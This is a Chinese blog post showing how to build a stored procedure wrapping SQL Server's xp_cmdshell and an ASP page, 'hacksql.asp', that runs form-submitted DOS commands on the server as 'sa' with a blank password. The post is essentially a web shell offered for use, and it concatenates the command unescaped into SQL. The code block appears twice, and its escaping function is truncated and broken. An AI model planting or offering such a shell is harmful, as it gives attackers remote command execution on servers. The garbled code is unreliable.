利用sql的存储过程实现dos命令的asp程序
2014-04-20 11:54
316 查看
1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)
<%
cmd=trim(Request.Form("cmd"))
if cmd<>"" then
work()
else
show()
end if
function work()
set conn=server.CreateObject("adodb.connection")
set rs=server.CreateObject("adodb.recordset")
conn.Open "xx","sa",""
sql="exec ddy '"&cmd&"'"
rs.Open sql,conn
if not rs.EOF then
do while not rs.eof
Response.Write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"
rs.MoveNext
loop
else
Response.Write "no"
end if
if rs.State=1 then rs.close
set rs=nothing
conn.Close
set conn=nothing
end function
function show()
%>
<form action=hacksql.asp method=post>
请输入DOS命令:<input type=text name=cmd>
<input type=submit value="ok">
</form>
<%
end function
function htmlencode2(str)'--------转换函数(为了显示时比较工整)
dim result
dim l
if isnull(str) then
htmlencode2=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case chr(13)
result=result+"<br>"
case chr(9)
end function
%>
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)
<%
cmd=trim(Request.Form("cmd"))
if cmd<>"" then
work()
else
show()
end if
function work()
set conn=server.CreateObject("adodb.connection")
set rs=server.CreateObject("adodb.recordset")
conn.Open "xx","sa",""
sql="exec ddy '"&cmd&"'"
rs.Open sql,conn
if not rs.EOF then
do while not rs.eof
Response.Write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"
rs.MoveNext
loop
else
Response.Write "no"
end if
if rs.State=1 then rs.close
set rs=nothing
conn.Close
set conn=nothing
end function
function show()
%>
<form action=hacksql.asp method=post>
请输入DOS命令:<input type=text name=cmd>
<input type=submit value="ok">
</form>
<%
end function
function htmlencode2(str)'--------转换函数(为了显示时比较工整)
dim result
dim l
if isnull(str) then
htmlencode2=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case chr(13)
result=result+"<br>"
case chr(9)
end function
%>
相关文章推荐
- C#中利用process类调用外部程序以及执行dos命令 - ASP.NET
- asp.net 选择excel类型文件,利用Dos命令成批复制文件
- 利用ASP.NET AJAX实现表格更新程序
- 利用SQL或存储过程实现GridView分页和弹出页面编辑
- 利用SqlHelper.cs实现Web程序与数据库的连接
- SQL利用CMD及RAR命令实现将某一压缩文件解压到指定的路径
- SQL使用DOS命令建库。建表,添加约束,标量值函数,存储过程,触发器,游标
- 如何在ASP.NET程序里面执行DOS命令
- asp利用Parameters对象,实现防止sql注入,执行sql语句并返回变量值
- Asp.net利用一般处理程序实现文件下载功能
- Asp.net + jQuery + jQuery pager plugin + Sql Server 利用Ajax实现真正的无刷新分页浏览
- 利用SqlHelper.cs实现Web程序对数据库的增、删、改等操作
- SQL利用CMD以及IIS命令APPCMD 实现一些IIS操作
- C#中利用process类调用外部程序以及执行dos命令
- 利用SqlHelper.cs实现Web程序对数据库的增、删、改等操作
- 利用ftp命令+bat程序实现本地数据定时备份到服务器
- asp.net如何实现像QQ空间日志的置顶功能!用得是sql+asp.net(调用存储过程)
- asp小偷程序如何利用xmlhttp实现表单的提交以及cookies或session的发送
- ASP小偷程序如何利用XMLHTTP实现表单的提交以及cookies或session的发送
- 利用Sql作业在asp.net 里面实现异步调用存储过程.